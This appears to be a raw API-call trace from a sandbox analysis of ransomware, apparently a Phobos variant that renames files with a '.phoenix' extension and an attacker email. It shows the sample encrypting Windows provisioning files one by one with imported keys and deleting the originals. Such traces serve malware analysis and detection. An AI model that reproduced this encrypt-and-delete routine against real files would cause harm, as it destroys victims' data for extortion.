	[0246.694] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.694] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0246.694] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.694] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0246.835] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0246.835] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0246.836] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0246.836] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.836] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0246.836] CryptDestroyKey (hKey=0x151600) returned 1
	[0246.836] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0246.837] CryptDestroyKey (hKey=0x151140) returned 1
	[0246.837] CloseHandle (hObject=0x2c4) returned 1
	[0246.837] CloseHandle (hObject=0x2d4) returned 1
	[0246.837] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml")) returned 1
	[0246.838] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0246.838] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.838] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=720) returned 1
	[0246.838] CloseHandle (hObject=0x2d4) returned 1
	[0246.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml")) returned 0x20
	[0246.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.839] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.839] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.839] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.839] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.839] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0246.839] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.839] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.056] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0247.056] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.056] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0247.056] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.056] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.057] CryptDestroyKey (hKey=0x151500) returned 1
	[0247.057] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.057] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.057] CloseHandle (hObject=0x2d4) returned 1
	[0247.057] CloseHandle (hObject=0x2c4) returned 1
	[0247.057] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml")) returned 1
	[0247.058] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.058] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.058] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=730) returned 1
	[0247.058] CloseHandle (hObject=0x2c4) returned 1
	[0247.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml")) returned 0x20
	[0247.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.058] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.058] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.058] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.059] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.059] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0247.059] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.059] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2da, lpOverlapped=0x0) returned 1
	[0247.071] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0247.071] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.072] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0247.072] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.072] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.072] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.072] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.072] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.072] CloseHandle (hObject=0x2c4) returned 1
	[0247.072] CloseHandle (hObject=0x2d4) returned 1
	[0247.072] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml")) returned 1
	[0247.073] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.073] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.074] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=739) returned 1
	[0247.074] CloseHandle (hObject=0x2d4) returned 1
	[0247.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml")) returned 0x20
	[0247.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.074] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.074] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.074] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.074] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.074] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0247.074] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.075] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e3, lpOverlapped=0x0) returned 1
	[0247.101] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0247.101] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0247.102] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0247.102] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.102] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.102] CryptDestroyKey (hKey=0x151700) returned 1
	[0247.102] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.102] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.102] CloseHandle (hObject=0x2d4) returned 1
	[0247.102] CloseHandle (hObject=0x2c4) returned 1
	[0247.102] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml")) returned 1
	[0247.103] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.104] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=722) returned 1
	[0247.104] CloseHandle (hObject=0x2c4) returned 1
	[0247.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml")) returned 0x20
	[0247.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.104] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.105] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.105] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.105] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0247.105] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.105] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d2, lpOverlapped=0x0) returned 1
	[0247.135] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0247.135] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.142] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
